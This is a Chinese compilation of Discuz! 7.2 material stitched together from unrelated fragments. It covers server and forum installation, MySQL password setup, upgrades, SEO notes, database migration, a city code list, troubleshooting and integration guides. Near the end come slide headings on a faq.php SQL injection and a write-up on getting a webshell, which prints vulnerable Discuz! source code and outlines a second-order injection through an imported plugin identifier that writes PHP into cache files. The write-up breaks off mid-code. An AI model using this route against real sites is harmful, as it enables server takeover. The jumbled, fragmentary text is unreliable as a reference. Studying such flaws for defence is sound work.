discuz 7.2
Discuz和phpwind详细安装流程
Discuz!论坛安装教程作者:TeliuTe 来源:基础教程网一、安装服务器返回目录下一课首先我们安装PHP环境,使计算机成为一台服务器,下面我们来看一个练习;1、安装PhpStudy1)双击下载的安装包,出来一个安装向导;2)点“下一步”出来许可协议,点“我同意”;3)接下来是服务器程序的路径,点“下一步”继续;4)接下来是网站的存放位置,默认是“D:\www”,以后论坛的网页都放在这里面;5)接下来是选择组件,里面有一些帮助文档,点“下一步”继续;6)检查无误后,点“安装”开始安装程序;7)安装完成后,自动打开一个php文件,显示安装的各个组件,以后开机会自动启动服务器;2、Ubuntu里安装xampp1)将下载的 xampp-linux-1.7.3.tar.gz 放到主文件夹里,打开终端,输入命令 sudo tar xvfz xampp-linux-1.7.3.tar.gz -C /opt2)打开终端,再输入命令 sudo /opt/lampp/lampp start 启动服务器程序;5)再打开浏览器,在地址栏输入 http://127.0.0.1 用ip 地址访问本机,也可以用http://localhost 来访问;6)在首页中点“中文”,然后在左侧导航栏中,点“状态”查看mysql和php 服务的运行情况停止服务的命令是 sudo /opt/lampp/lampp stop二、MySQL字符集和密码返回目录下一课默认root管理员密码也是root,装好以后要修改一下,下面我们来看一个练习;1、PhpStudy中修改1)在桌面上双击 phpStudyAdmin 图标,右下角系统托盘出来一个图标;2)瞄准图标点左键,在出来的菜单中选“MySQL 设置”;3)在出来的窗口里,点字符集改成“gbk”的,以后安装dz也都用gbk的版本,点“确定”,提示重启后生效;对应修改的是 my.ini 或 f 配置文件;4)再点出这个面板,在下面的修改密码中输入原密码root,再输入自己的新密码,点“确定”;5)出来一个提示,要求测试一下,点“确定”继续;6)在出来的窗口里,输入刚才设置的新密码,然后按回车键;7)如果正确,则会顺利进入mysql提示符,输入exit按回车键退出,密码修改完成;2、在Ubuntu的XAMPP里1)运行 xampp,在浏览器地址栏输入 127.0.0.1 按回车进入网站;2)在左侧列表的工具中找到 phpMyAdmin,点击进入,这时候还没有设密码;3)点上边的“数据库”,进入后找到 mysql 数据库,右边有个小人;4)再点 mysql右边的小人,检查这个数据库的权限;5)在出来的用户列表中,点 root localhost 右边的小人,编辑权限;6)再往下拉,直到找到更改密码,输入两遍新密码,点“执行”就修改了密码;7)关闭浏览器重新进入,就需要输入密码了,如果出错刷新一下,也可以检查phpMyAdmin的配置文件 /opt/lampp/phpmyadmin/config.inc.php更多相关信息,请参阅:/localized_docs/zh_CN/Documentation.html#aut hentication_modes3、在终端里修改1)打开终端,输入命令 /opt/lampp/bin/mysql -h localhost -u root -p出来一行提示,要求输入密码,直接按回车,默认最初没密码,进入mysql命令行2)在mysql命令行中,接着输入命令 SET PASSWORD = PASSWORD('mypsw');两个单引号中间的mypsw就是新密码,按回车键提示成功,再输入quit 退出mysql;3)以后提示密码的时候,盲打输入,屏幕上不会显示;三、安装论坛返回目录下一课这一课我们来安装论坛程序,在服务器上安装网站,下面我们来看一个练习;1、安装论坛1)解压下载的论坛安装包,把upload文件夹里的全部内容,都复制到之前设定的d:\www文件夹里;2)到PhpStudy安装的文件夹里,找到php5文件夹,打开里面的php.ini,检查一下 short_open_tag = On如果是Off则改成On保存退出,然后到桌面打开phpStudyAdmin,点托盘里的图标,重启Apache;3)打开IE浏览器,在地址栏输入 http://localhost/install 开始安装,如果本机已经设定了固定ip地址,那么就用ip地址,在出来的许可协议里点“我同意”;4)接下来是环境检查,应该都是绿色的勾,点“下一步”继续;5)接下来安装论坛数据库,数据库用户名是root,密码是root或者是自己修改的,给管理员账号也设定一个密码,点“下一步”继续;6)经过一阵安装后,出来填写联系方式,这儿可以填写也可以跳过;7)稍等完成安装,然后会自动跳转到论坛页面;8)点“登录”用admin登录论坛,以后在浏览器输入 http://localhost,就可以访问,别的机子输入ip地址来访问;2、Ubuntu 中安装1)用root用户打开文件管理器,解压upload 里的所有内容到/opt/lampp/htdocs 原来的xampp文件夹留下也行;2)打开htdocs/文件夹,除了xampp/文件夹以外,全选里面所有内容,点右键选“属性”,设置“其它”权限为“访问文件和只读”,再点“对包含的文件应用权限”,这是设置全局属性;3)分别将文件夹 attachments/、forumdata/、install/、uc_client/data/cache/、uc_server/data/ 的属性,设置“其它”权限为“创建删除和读写”,并点击“对包含的文件应用权限”,把文件 config.inc.php 的“其它”权限设为读写;4)在浏览器地址栏输入http://localhost/install 或者本机的ip 地址,进入安装程序,步骤同上;5)如果安装过程中出错,根据提示检查文件权限,或者检查xampp的服务是否启动,如果mysql出错可能就要重装xampp,先停止服务,再重装,不行就得重启了再重装;四、升级论坛返回目录下一课当有新版本出来时,可以在原来的基础上升级,升级前做好备份,下面我们来看一个练习;1、升级安装到7.21)打开下载的7.2安装包,先看里面的readme文件夹里的,readme和upgrade 两个文件,掌握升级的方法;2)解压upload文件夹,复制除了 install/文件夹和config.inc.php以外的所有内容,覆盖到论坛源文件,提前做好原论坛的备份;3)复制 utilities/ 文件夹中对应的升级文件,这里是upgrade13.php,复制到论坛根目录;4)在浏览器地址栏中,用地址访问升级文件,这里是http://192.168.1.250/upgrade13.php5)点“开始升级”后自动运行直到完成,然后重新登录,更新缓存,删除upgrade13.php升级文件;2、另一种方法(供学习)1)备份原来的数据,登录论坛再进入系统设置(或管理中心),再进入UCenter;2)在UC中心点右边的“菜单-应用管理”,出来一个列表;3)打勾选中里面的 Discuz! Board,点“提交”删除,这样就把原来的论坛断开了;4)到论坛文件夹里,除了uc_server 文件夹外,把原来的论坛文件夹都删除,然后新建bbs文件夹,复制7.2的论坛文件夹过来,同样设置好权限,使用7.1的UCenter安装7.2;5)在应用管理里,点“添加应用”,出来的对话框里面输入安装地址,UC中心路径会自动输好,6)也可以在地址栏输入安装地址,需要自己输入UC中心的地址和密码;五、管理中心返回目录下一课管理中心也叫后台,用来设置论坛的各个功能,下面我们来看一个练习;1、论坛控制面板1)登录论坛后,点右上角“管理中心”,进入论坛控制中心首页;2)在上面的导航栏点“全局”,左边出来各个相关设置,每一项都有相应的说明;3)UCenter的设置要细心,里面的地址要用ip地址或域名,否则其它机子不能访问UC中心,例如头像不能上传;4)再点上边的版块,这里可以设定论坛包含哪些版区、版块,排列顺序等,记着要提交;5)再点上边的“插件”,把“首页多格”安装好,然后打勾启用,也要记着提交;6)再点上边的“工具”,在这里可以更新缓存,修改设置后要更新一下;7)点左边侧栏里的“数据库”,可以备份和恢复论坛数据;2、UCenter 中心1)在管理中心导航栏右侧,点“UCenter”进入UCenter中心,这是网站的核心;2)可以点左侧栏或右边的“菜单”,进行各项设置;3)点侧栏中的“应用管理”,可以查看安装的应用,包括论坛、家园、门户等,应该都显示“通信成功”;4)点侧栏中的“数据备份”,可以对UC中心进行备份,也可以对各个应用备份;5)其他设置可以自己试着修改,改好以后更新一下缓存;六、空间家园返回目录下一课家园是个人主页空间,跟博客相似,下面我们来看一个练习;1、安装家园1)下载UChome安装包,用管理员身份打开,先看一下readme文件,;再把upload解压到网站根目录,把文件夹名称改为uh,设置属性里的其它权限为“访问和只读”,并应用到包含的文件2)打开uh文件夹,将 config.new.php 文件重命名为config.php,设置config.php的属性为“读写”,设置文件夹 attachment/、 data/、uc_client/data/ 文件夹为“创建删除和读写”,并应用到包含的文件;3)登录“论坛-管理中心-UCenter-应用管理-添加应用”,输入uh的地址,点安装;4)按提示一步一步,在数据库信息那儿,用户名填写root,密码为mysql的密码,默认为root或者为空;数据库名填写uchome,这个是给家园用的数据库;5)点下一步继续自动安装,在管理员那儿,用原来的admin和密码,也可以新增一个;6)然后完成安装,可以进入管理平台和空间主页,把这两个网址记一下;七、开心农场返回目录下一课在家园里可以安装小游戏,通过增加数据表的方法,下面我们来看一个练习;1、开心农场游戏1)下载农场游戏,先看看安装说明:/thread-45965-1-1.html2)解压安装包,复制到家园文件夹中,这里是uh文件夹;3)编辑 uh/template/default/header.htm 文件,找到</style>,在它之前插入<!--{if $newfarm}-->@import url(newfarm/newfarm.css);<!--{/if}-->再查找“热闹”,在它这一行的后面插入 <li><imgsrc="image/app/farm.gif"><a href="newfarm.php">农场牧场</a></li>2、增加数据表1)打开phpMyAdmin,在Windows中点托盘图标-phpMyAdmin,Ubuntu 中,在浏览器中输入地址打开进入;2)在出来的窗口左侧栏,找到 uchome 数据库点击选中;3)在出来的列表上边,找到导入点一下;4)点“浏览”找到农场的数据表后,点右下角的执行;5)同样再打开updata文件夹里的sql.txt,导入进来,注意语句最后要有个分号;6)然后登录空间,点左上角的“个人中心-农场牧场”;7)点左边的“农场牧场”,就可以进入游戏了;如果在Ubuntu中用户名出现乱码,请参考:/read-htm-tid-906114.html3、在mysql中增加数据表1)打开终端,输入命令: /opt/lampp/bin/mysql -uroot -p 按回车输入密码进入mysql>2)在mysql提示符下,输入:use uchome 打开家园数据库;3)打开安装说明里的sql文件,复制里面的全部内容,粘贴到mysql提示符后面,按回车运行;4)同样再复制updata里的另一个sql里的内容,在mysql后运行;5)然后输入quit按回车退出,再同样修改header.htm即可,到uchome的管理面板更新一下缓存;八、SupeSite站点返回目录下一课门户是展示和发布的平台,是一个网站的综合页面,下面我们来看一个练习;1、安装门户1)下载SupeSite安装包,用管理员身份打开,先看一下readme文件,再把upload解压到网站根目录,把文件夹名称改为ss,设置属性里的其它权限为“访问和只读”,并应用到包含的文件;2)打开ss文件夹,将 config.new.php 文件重命名为config.php,设置config.php的属性为“读写”,设置文件夹 attachment/、cache/、channel/、html/、log/、styles/、model/、data/、uc_client/data/ 文件夹为“创建删除和读写”,并应用到包含的文件;;3)登录“论坛-管理中心-UCenter-应用管理-添加应用”,输入ss的地址,点安装;4)按提示一步一步,在数据库信息那儿,用户名填写root密码为mysql的密码,默认为root或者为空;数据库名填写supesite,这个是给门户用的数据库;5)点下一步继续自动安装,在管理员那儿,用原来的admin和密码,也可以新增一个;6)然后完成安装,可以进入管理平台和空间主页,把这两个网址记一下;九、创建频道返回目录下一课门户安装好以后,还需要设置项目和分类,下面我们来看一个练习;1、设置频道1)以admin管理员登录SupeSite,点击右边的“管理”进入站点管理;2)点“系统管理-频道管理”,出来一个列表,其中有三个频道,分别是“综合首页、资讯、排行榜”;3)默认综合设为了主页,并且不能删除和隐藏,另外两个“资讯”是内置建好的,排行榜是系统聚合来的;4)门户可以单独做成网站,采用投稿方式,投到各个频道里,也可以通过采集论坛发的帖子,家园的日志等;5)点“频道管理”右上角的“创建频道”标签,我们来新建一个自己的频道项目;6)输入频道名称,例如“电脑教程”,这个会显示在首页菜单中,在下面填一个英文名,类型选“频道”、文章分类写上各个类别,这个在投稿时要用,下面的权限不动;7)点下面的“提交保存”,新建的频道就显示在列表中,可以在门户中使用了;2、投稿1)返回到门户首页,上边出来一个“电脑教程”的链接,点用户名下边的“投稿-电脑教程”;2)在出来的投稿窗口里,依次填写标题、分类、内容,带红星的必填,然后点下边的“提交”按钮;3)返回到站点首页,在导航链接里点“电脑教程”,就可以在其他教程里找到这篇文章;。
Discuz SEO(dz论坛搜索引擎优化)手记
#允许一些动态内容的收录,是因为google,live,yahoo和支持一个新的标签属性,可以通过它将链接和权重转移到静态形式的URL上。见:让discuz支持canonical URL tag。
一、禁止SE检索无用页面
1.1 我的robots.txt的设置。主要为了测试各SE的支持情况,用DZ默认的就行*注意:一般情况下,您使用disucz默认的robots.txt文件就可以了。
下面设置主要是为了测试各搜索引擎对robots.txt文件扩展协议的支持和兼容情况。User-agent: *
Allow: /*.html
Allow: /viewthread.php #开放帖子的各种动态形式
Allow: /redirect.php #开放帖子的跳转形式
Allow: /forumdisplay.php #开放列表面的各种动态形式
Allow: /archiver/ #只有放开这个目录,robots开能进入抓取*.html的东西
如此修改之后,对于无权访问的URL、已删除的帖子等提示信息页面,都会返回带有meta robots禁止在页头。因为禁止收录了,过一段时间也会从索引中删除。这样,给SE的都是一些有内容的网页,对于提高权重会有好处。
原来还落下了给archiver加meta robots 补充:2010-3-28
archiver页面的帖子,如果删除了,同样的提示信息也要禁止收录。
Discuz SEO(dz论坛搜索引擎优化)手记
Dz7.2 UCH 2.0 UC1.5 成功升级到DX,放出演示地址及转换经验
UCenter是默认的uc_为前缀的数据库——到DX的话,还是uc_前缀
2、数据库对比
以discuz 7.2数据库为例,论坛主要有四个表比较重要
cdb_forums 版块列表 到DX的话就是 forum_forum
Dz7.2\ UCH 2.0\ UC1.5 成功升级到DX,放出演示地址及转换经验
演示地址:/dx/forum.php
分享一下转换经验:
1、 分析数据库
DX是默认per_为前缀的数据库,所以在安装测试数据库的时候,把per_去掉
Discuz 7.2是默认的cdb_为前缀的数据库——到DX的话,就是forum_前缀,部分是common_
cdb_members 会员列表 到DX的话就是common_member
cdb_threads 主题列表 到DX的话就是 forum_thread
cdb_posts 帖子内容列表 到的话就是 forum_post
将这些表修改好前缀名称后,将修改好的discuz 7.2 的上面的数据库的表名称的文件考入一个文件夹:名称为dz
不过目前把论坛和uchome的内容数据导入进来,我可以按照我的论坛进行修改其模板内容,并且制作些图片,待正式版出来后,就可以立刻升级了!
不过讲在升级之后!你要对你的DX进行侧边拖拽!像我这个论坛的首页,拖拽了2个小时!汗汗!要不然,右边空空的,太难看了!
其他关键表都以此类推即可!
这些只是初步!
目前发现DISCUZ的附件地址、UCHOME的表情格式、附件地址都发生了变化。没有官方的升级程序是不行的
另外对于common_member 表及附表,包括会员资料、积分、详细信息都和DISCUZ、uchome的表不一样!相关数据需要对表中的字段进行选择导入,比较麻烦!类似的还有forum表、uchome的投票等表,都是一些比较难解决的问题!
分区、版块、子版块这三级的所以更深的版块
a)超过 15 字节的用户名、含有 \ ' 等特殊字符的用户名及重复用户名不可转换;这是由于X的程序的用户名存储的字段长是15个字节b)三级以下论坛将统一作为独立的版块进行转换;我们的程序是分区、版块、子版块这三级的所以更深的版块会作为独立的版块进行转换c)帖子标题长度超出 80 字节的部分将被截掉,帖子作者用户名长度超出15 字节的部分将被截掉转换帖子的标题也受到字段长度的影响,超过长度的转换程序会自动将其截取d)由于 UCenter 版本的 Discuz! 用户头像保存机制发生了变化,因此头像是转换不过来的。
您可以在转换完成后,使用头像导入工具导入,头像导入工具下载及其使用教程:/viewnews-825了解了一些注意事项和转换程序数据处理情况后,进入实际的转换步骤,即填写源数据库和目标数据库相关信息从上到下依次设置MySQL 数据库服务器:一般不需要修改默认填 localhost 就可以如果是远程mysql 需要填写ip数据库用户名:填写的是可以访问源数据库的用户名数据库密码:填写的是上面用户名所对应的密码数据库名:安装源论坛的数据库名这里的数据库名不要以数字开头否则会出错数据库表前缀:源数据库表前缀源论坛页面编码:这里选择源数据库的字符集数据库字符集:有 GBK、UTF8、BIG5 三种如果你不知道你的源论坛的字符集是什么你可以三个依次选过,每次选的时候点击右边的检查些设置的按纽程序会提取的源论坛的部分数据转换做个测试,如果显示正常说明数据库字符集正确,否则重新设置并检测。
下面举个例子:比如现在有一个库是gbk的配置好数据库信息,选择字符集为GBK ,点击“检查此设置”,效果如下图。
显然这个显示是正确的,说明原库的字符集就是 GBK。
选择数据库字符集为 utf8 ,点击“检查此设置”,效果如下图,显然这个显示是乱码。
您原论坛的访问域名和Discuz! 的 URL: 这两项设置是为了将数据中的链接修正.Discuz 论坛类型: 不需要修改下面是填写刚才安装Discuz!X1.5时候的数据库用户名、密码及数据库名、数据库表前缀。
discuz分类信息城市
21.14=白沙黎族自治县
21.15=琼中黎族苗族自治县
21.16=陵水黎族自治县
21.17=保亭黎族苗族自治县
21.18=乐东黎族自治县
22=重庆市
22.1=渝中区
22.2=大渡口区
22.3=江北区
22.4=沙坪坝区
22.5=九龙坡区
22.6=南岸区
10.2=无锡市
10.3=徐州市
10.4=常州市
10.5=苏州市
10.6=南通市
10.7=连云港
10.8=淮安市
10.9=盐城市
10.10=扬州市
10.11=镇江市
10.12=泰州市
10.13=宿迁市
11=浙江省
11.1=杭州市
11.2=宁波市
11.3=温州市
11.4=嘉兴市
1=北京市
1.1=东城区
1.2=西城区
1.3=崇文区
1.4=宣武区
1.5=朝阳区
1.6=丰台区
1.7=石景山区
1.8=海淀区
1.9=门头沟区
1.10=房山区
1.11=通州区
1.12=顺义区
1.13=昌平区
1.14=大兴区
1.15=怀柔区
1.16=平谷区
1.17=密云县
27.3=宝鸡市
27.4=咸阳市
27.5=渭南市
27.6=延安市
27.7=汉中市
27.8=榆林市
27.9=安康市
27.10=商洛市
28=甘肃省
28.1=兰州市
28.2=嘉峪关市
Discuz论坛7.2安装,使用,维护教程
一.Discuz7.0/7.1在安装过程中遇到的常见问题及其解决方法1,无法继续安装出现Can't connect to MySQL server on 'localhost' (10061)解决方法:MySQL服务没有启动,请启动该服务或者是您服务器上没有安装MYSQL2,出现类似错误Cache List: settings index ipbanned style_ usergroup_7Caches successfully created, please refresh.解决方法:正常情况应该是style_后面有数字跟着,比如style_1 style_2 style_3 ,因此根据出错提示,应该是settings表缺少styleid字段导致请先检查你的数据结构是否完整/viewthread.php?tid=129707工具更多详细解释:/viewthread.php?tid=2166643,安装论坛的时候提示:Error: Unknown character set: 'gbk'Errno.: 1115解决方法:设置的字符集MYSQL并没有支持,您可以尝试更换其他字符集或者设置MYSQL 支持GBK字符集等4,Error: Can't connect to local MySQL server through socket '/tmp/mysql.sock' (2)解决方法:服务器端口不对,请咨询空间商正确的端口5,进行安装时,到达这步时只出现这些提示信息,下面空白,没有任何显示,无法进行安装解决方法:>> Discuz! Board Installation Wizard--------------------------------------------------------------------------------欢迎来到Crossday Discuz! Board 安装向导,安装前请仔细阅读最终用户许可协议的每个细节,在您确定可以完全理解、同意并遵守授权协议的全部内容之后才能开始安装。
discuz!x2通过添加标签的方式加迅雷专用链
一、用管理员的账号进入discuz!7.2后台管理系统–》界面–》编辑器设置–》Discuz!代码进入如图1所示页面:图1二、把附件里面提供的图片“xunlei_logo.png”放在你网站的“template/default/forum”这个目录下。
三、在图1所示页面上,找到“新增”一栏,如图2所示:图2四、分别填入:“thunderlink”,“6”,“xunlei_logo.png”。
五、后点击提交按钮,看到如图3所示页面:图3六、点击如图3所示页面里面的“详情”,进入如图4所示页面:图41)打开附件里面提供的code.txt这个文件,找到以下代码:thunder_pid = "15493"把这个里面的“15493”必须修改成你自己的联盟号,不明白联盟号的请查看/read.php?tid=87这个帖子2)“替换内容:”里面填入您刚才修改好的“code.txt”这个文件里面的代码,注意不要人为的加一些“空格”或者“回车符号”,否则无法显示专用链。
3)“例子:”这个里面可以不用填。
4)“解释”这个里面填入:“迅雷专用链”。
5)“参数个数”填入“1”。
6)“参数提示语”这个里面输入:“请输入资源下载地址”。
7)“嵌套次数”这个里面输入“1”。
8)点击“提交”按钮。
七、点击“提交”按钮后进入图5所示页面:图5八、把如图5所示红色框选中区域的两个“复选框”都选中,后点击该页面上的“提交”按钮后,您的thunderlink标签添加完毕。
九、使用刚才新建的“thunderlink”标签,进入discuz!7.2论坛,点击“发帖”按钮进入如图6所示页面:图6十、点击“迅雷专用链”图标,弹出提示框,输入资源下载地址如:thunder://QUFmdHA6Ly84MHM6eWlwQDEzLmRvd24uODBzLmNuOjkyMC8wODExL1vO0rLCz tKyws7SssKywrLCXbOsQmVhdXR5LNbGt/7DwMWuL1vO0rLCztKyws7SssKywrLCXbOsQmVh dXR5LNbGt/7DwMWuXzEuM2dwWlo=点击“提交”按钮后,看到如图7所示效果:图7十一、点击“发新话题”按钮,看到如图8所示效果:图8十二、支持发布“thunder://”,“ftp://”,“http://”这3种形式的资源下载地址:1)thunder://QUFmdHA6Ly84MHM6eWlwQDEzLmRvd24uODBzLmNuOjkyMC8wODExL1vO0rLCztKyws7SssKywrLCXbOsQmVhdXR5LNbGt/7DwMWuL1vO0rLCztKyws7SssKywrLCXbOsQmVhdXR5LNbGt/7DwMWuXzEuM2dwWlo=2)/屠杀补丁.rar3)ftp:///200811/marleyandme.rmvb十三、操作说明完毕。
DZ论坛安装以及聚合程序安装
UC安装一、所需环境要求操作系统要求UCenter 具备跨平台特性,可以运行于UNIX/Linux/FreeBSD 及微软Windows 等各种操作系统环境下。
我们已在软件中针对上述操作系统做了大量的测试和实验,保证UCenter 可以在上述系统中安全稳定的运行,但您仍然需要做好服务器操作系统级的安全防备措施,例如Windows用户需更改MySQL for Windows 的初始root 密码,避免跨目录的文件读写;类Unix 用户需避免使用过于简单的密码,避免跨用户目录的文件读写,做好服务器上其他相关软件(如Sendmail, ftpd, httpd)等的安全防范,使用较新的软件版本等。
如果您租用虚拟主机,一般正规和技术力量较强的虚拟主机提供商会已经做好操作系统的各项准备,用户可不必关注此部分。
推荐使用UNIX/Linux/FreeBSD 操作系统,不仅完全免费,而且可以获得更好的稳定性和负载能力。
如果使用Windows 系统,推荐PHP 以ISAPI(非CGI)方式安装。
语言及数据库支撑环境要求可用的httpd 服务器(如Apache、Zeus、IIS 等)php 4.3.0 及以上MySQL 4.0 及以上以上软件除了httpd 软件有可能需要购买以外,其余均为跨平台的免费软件,推荐使用以上软件的最新稳定版本,不仅拥有更多的功能,而且通常已修复了已知老版本的安全漏洞。
推荐环境软件版本php 5.0.0 及以上MySQL 5.0 及以上关于Linux 和Windows 主机上环境搭建的详细教程可以参考Discuz! 用户手册中安装部分环境搭建的方法。
二、安装可能用到的工具软件UCenter 开发组尽量使得安装步骤简单方便,但仍然可能会用到一些常用的工具软件。
如果您通过网络将UCenter 软件上传到服务器上,您将可能需要一个FTP 客户端软件。
通过您的服务器FTP 账号,使用该FTP 客户端软件将相关文件上传到服务器上。
Discuz!7.2快速安装方法
Discuz!7.2快速安装方法用于将Discuz!论坛用户与OA用户自动同步。
-----------------------------------------------------[安装方法]下载Discuz!7.2和UCenter的整合安装包下载地址:/Discuz/7.2/Discuz_7.2_FULL_SC_GBK.zip论坛建议安装至d:\myoa\webroot\general\bbs2目录。
下载后把UPLOAD 空文件夹连带它下面的所有文件(upload下面的文件要单独COPY出来)COPY到BBS2下,再用本目录(通达网站/OA知识库/Office Anywhere 高级应用技巧/OA与Discuz!论坛集成/7.2 /index.php )的index.php替换论坛原来的index.php文件即可。
在IE地址栏已有登录OA地址后面添加/general/bbs2/install (你现在可以将前面的地址复制粘贴到IE地址栏)按回车,即出现安装界面,按提示操作即可1.请按下面的图示填写:2.填好后点下一步,出现下面的界面安装成功.[用户名格式设置]默认将使用OA用户名为论坛用户名。
如果论坛希望使用真实姓名为用户名,请修改该程序第2行,将$ID_OR_NAME = 1; 改为$ID_OR_NAME = 2;[特性]本程序可实现自动从OA系统登录论坛,且无需事先建立论坛用户。
如论坛中无某OA用户,可以自动建立该用户,用户名和密码均为OA的用户名或姓名。
[其它说明]如果不希望论坛能单独登录,可以删除logging.php或将logging.php改名。
该程序安装后,允许论坛用户修改其论坛密码,不会影响其从OA系统登录论坛。
Discuz!搭建之(Ucenter 与 Discuz!安装配置过程)
Ucenter 与Discuz!安装配置过程
1、安装ucenter
a) 解压缩UCenter_1.5.2_SC_UTF8.zip
b) 解压后,将其中的upload 文件夹
拷贝至c:\ids\apache\htdocs 目录下,并将upload改名为ucenter
c) 确定apache为启动状态
d) 打开浏览器,在地址栏输入
http://localhost/ucenter/install/index.php
进入安装过程:
设置数据库用户名、密码,以及ucenter管理员密码
2、安装discuz!
a) 解压缩Discuz_7.2_SC_UTF8.zip
b) 解压后,将其中的upload 文件夹
拷贝至c:\ids\apache\htdocs 目录下,并将upload改名为bbs
c) 确定apache为启动状态
d) 打开浏览器,在地址栏输入
http://localhost/ucenter/admin.php,进入ucenter管理界面:
在左侧菜单栏选择“应用管理”,添加新应用,安装地址填入:http://localhost/bbs/install/index.php,进行安装
配置数据库用户名密码,配置管理员帐号。
01零日漏洞
什么是SQL注入
- 回顾SQL注入漏洞基础
零日漏洞攻防演示
漏洞简介
- 漏洞标题:Drupal 7.31 SQL注入漏洞
- 漏洞类型:SQL注入
- 危害等级:高 - 漏洞影响范围:<=7.31
- 披露时间:2014-10-16
漏洞复现
零日漏洞攻防演示
漏洞二:Discuz7.2 /faq.php sql注入漏洞 什么是Discuz?
PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统,在经历了二年多 的发展,目前的版本无论在功能,还是在易用性方面,都有了长足的发展和进
步,DedeCms免费版的主要目标用户锁定在个人站长,功能更专注于个人网站
或中小型门户的构建,当然也不乏有企业用户和学校等在使用本系统。
什么是URL 重定向漏洞
发布,首次引入应用中心的开发模式。2010年8月23日,康盛创想与腾讯达成 收购协议,成为腾讯的全资子公司。
什么是SQL注入
- 回顾SQL注入漏洞基础
零日漏洞攻防演示
漏洞简介
- 漏洞标题:Discuz7.2 /faq.php sql注入漏洞
- 漏洞类型:SQL注入
- 危害等级:高 - 漏洞影响范围:7.1-7.2
- southidceditor在线编辑器
- FCKeditor在线编辑器 - eWebEditor在线编辑器
- WebEditorNet在线编辑器
- bigcneditor在线编辑器 - CuteEditor在线编辑器 - Kindeditor在线编辑器
零日漏洞分类
常见开源框架漏洞分类(按照具体组件划分)
零日漏洞应急响应
国内知名漏洞报告平台
最新discuz72数据库结构表完整版汇总
最新discuz72数据库结构表完整版汇总d i s c u z72数据库结构表完整版cdb_access 用户版块权限表表说明:设置某一用户对某一版块的用户权限。
字段类型 Null 默认注释uid mediumint(8) 否 0 关联主键,特殊用户的UIDfid smallint(6) 否 0 关联主键,版块的FIDallowview tinyint(1) 否 0 浏览版块许可allowpost tinyint(1) 否 0 发新话题许可allowreply tinyint(1) 否 0 发表回复许可allowgetattach tinyint(1) 否 0 下载/查看附件许可allowpostattach tinyint(1) 否 0 上传附件许可adminuser mediumint(8) 否 0 用户名dateline int(10) 否 0 时间cdb_activities活动表表说明:记录活动主题的活动相关数据。
字段类型 Null 默认注释tid mediumint(8) 否 0 主键,活动主题的TIDuid mediumint(8) 否 0 索引,发布活动者UIDcost mediumint(8) 否 0 每人花销starttimefrom int(10) 否 0 开始时间(起始点)starttimeto int(10) 否0 开始时间(终止点,如确定开始时间则为0)place char(40) 否活动地点class char(20) 否活动类别gender tinyint(1) 否 0 性别要求(0=不限,1=男,2=女)number smallint(5) 否 0 需要人数expiration int(10) 否 0 征集截止日期cdb_activityapplies活动申请表表说明:记录参与活动主题的申请数据。
字段类型 Null 默认注释applyid int(10) 否主键,活动申请编号,自增tid mediumint(8) 否 0 索引,活动主题的TID username char(15) 否申请者的用户名uid mediumint(8) 否 0 索引,申请者的UID message char(200) 否申请者留言verified tinyint(1) 否 0 审核dateline int(10) 否 0 索引,申请时间payment mediumint(8) 否 0 申请者支付费用contact char(200) 否申请者联系方式cdb_addons 扩展中心资源提供商表说明:字段类型 null 默认注释Key varchar(255) 资源提供商idTitle varchar(255) 名称Sitename varchar(255) 站点名称Siteurl varchar(255) 站点urlDescription varchar(255) 说明Contact varchar(255) 联系方式Logo varchar(255) logo图片urlSystem tinyint(1) 是否系统提供商(无法删除的)cdb_adminactions 关联管理员权限表表说明:当特殊用户组管理权限关联为管理员时,记录该组无权使用的功能。
Discuz!各版本拿Webshell
四个版本的漏洞, Discuz! 6.0 、7.0、7.2和X1.5。
传X1.5出0day,最后神马也木见……/include/cache.func.phpPHP代码function writetocache($script, $cachenames, $cachedata = ”, $prefix = ‘cache_’) {global $authkey;if(is_array($cachenames) && !$cachedata) {foreach($cachenames as $name) {$cachedata .= getcachearray($name, $script); }}$dir = DISCUZ_ROOT.’./forumdata/cache/’;if(!is_dir($dir)) {@mkdir($dir, 0777);}if($fp = @fopen(“$dir$prefix$script.php”, ‘wb’)) {fwrite($fp, “<?php\n//Discuz! cache file, DO NOT modify me!”.“\n//Created: “.date(“M j, Y, G:i”).“\n//Identify:“.md5($prefix.$script.’.php’.$cachedata.$authkey).”\n\n$cachedata ?>”);fclose($fp);} else {exit(‘Can not write to cache files, please check directory ./forumdata/ and ./forumdata/cache/ .’);}}————往上翻,找到调用函数的地方.都在updatecache函数中.PHP代码if(!$cachename || $cachename == ‘plugins’) {$query = $db->query(“SELECT pluginid, available, adminid, name, identifier, datatables, directory, copyright, modules FROM {$tablepre}plugins”);while($plugin = $db->fetch_array($query)) {$data = array_merge($plugin, array(‘modules’ => array()), array(‘vars’ => array()));$plugin['modules'] =unserialize($plugin['modules']);if(is_array($plugin['modules'])) {foreach($plugin['modules'] as $module) { $data['modules'][$module['name']] = $module;}}$queryvars = $db->query(“S ELECT variable, value FROM {$tablepre}pluginvars WHERE pluginid=’$plugin[pluginid]‘”);while($var = $db->fetch_array($queryvars)) {$data['vars'][$var['variable']] =$var['value'];}//注意writetocache($plugin['identifier'], ”,“\$_DPLUGIN['$plugin[identifier]‘] = “.arrayeval($data),‘plugin_’);}}——————如果我们可以控制$plugin['identifier']就有机会,它是plugins表里读出来的.去后台看看,你可以发现identifier对应的是唯一标示符.联想下二次注射,单引号从数据库读出后写入文件时不会被转义.贱笑一下.但是……你懂的,当你去野区单抓对面DPS时,发现对面蹲了4 个敌人的心情. /admin/plugins.inc.phpPHP代码if(($newname = trim($newname)) || ($newidentifier =trim($newidentifier))) {if(!$newname) {cpmsg(‘plugins_edit_name_invalid’);}$query = $db->query(“SELECT pluginid FROM {$tablepre}plugins WHERE identifier=’$newidentifier’ LIMIT 1″);欲裂,ispluginkey判定newidentifier是否有特殊字符if($db->num_rows($query) || !$newidentifier|| !ispluginkey($newidentifier)) {cpmsg(‘plugins_edit_identifier_invalid’);}$db->query(“INSERT INTO {$tablepre}plugins (name, identifier, available) VALUES (‘”.dhtmlspecialchars(trim($newname)).”‘,‘$newidentifier’, ’0′)”);}updatecache(‘plugins’);updatecache(‘settings’);cpmsg(‘plugins_edit_succeed’,‘admincp.php?action=pluginsconfig’);—————还好Discuz!提供了导入的功能,好比你有隐身,对面没粉.你有疾风步,对面没控.好歹给咱留条活路.PHP代码elseif(submitcheck(‘importsubmit’)) {$plugindata = preg_replace(“/(#.*\s+)*/”, ”, $plugindata);$pluginarray =daddslashes(unserialize(base64_decode($plugindata)), 1);//解码后没有判定if(!is_array($pluginarray)|| 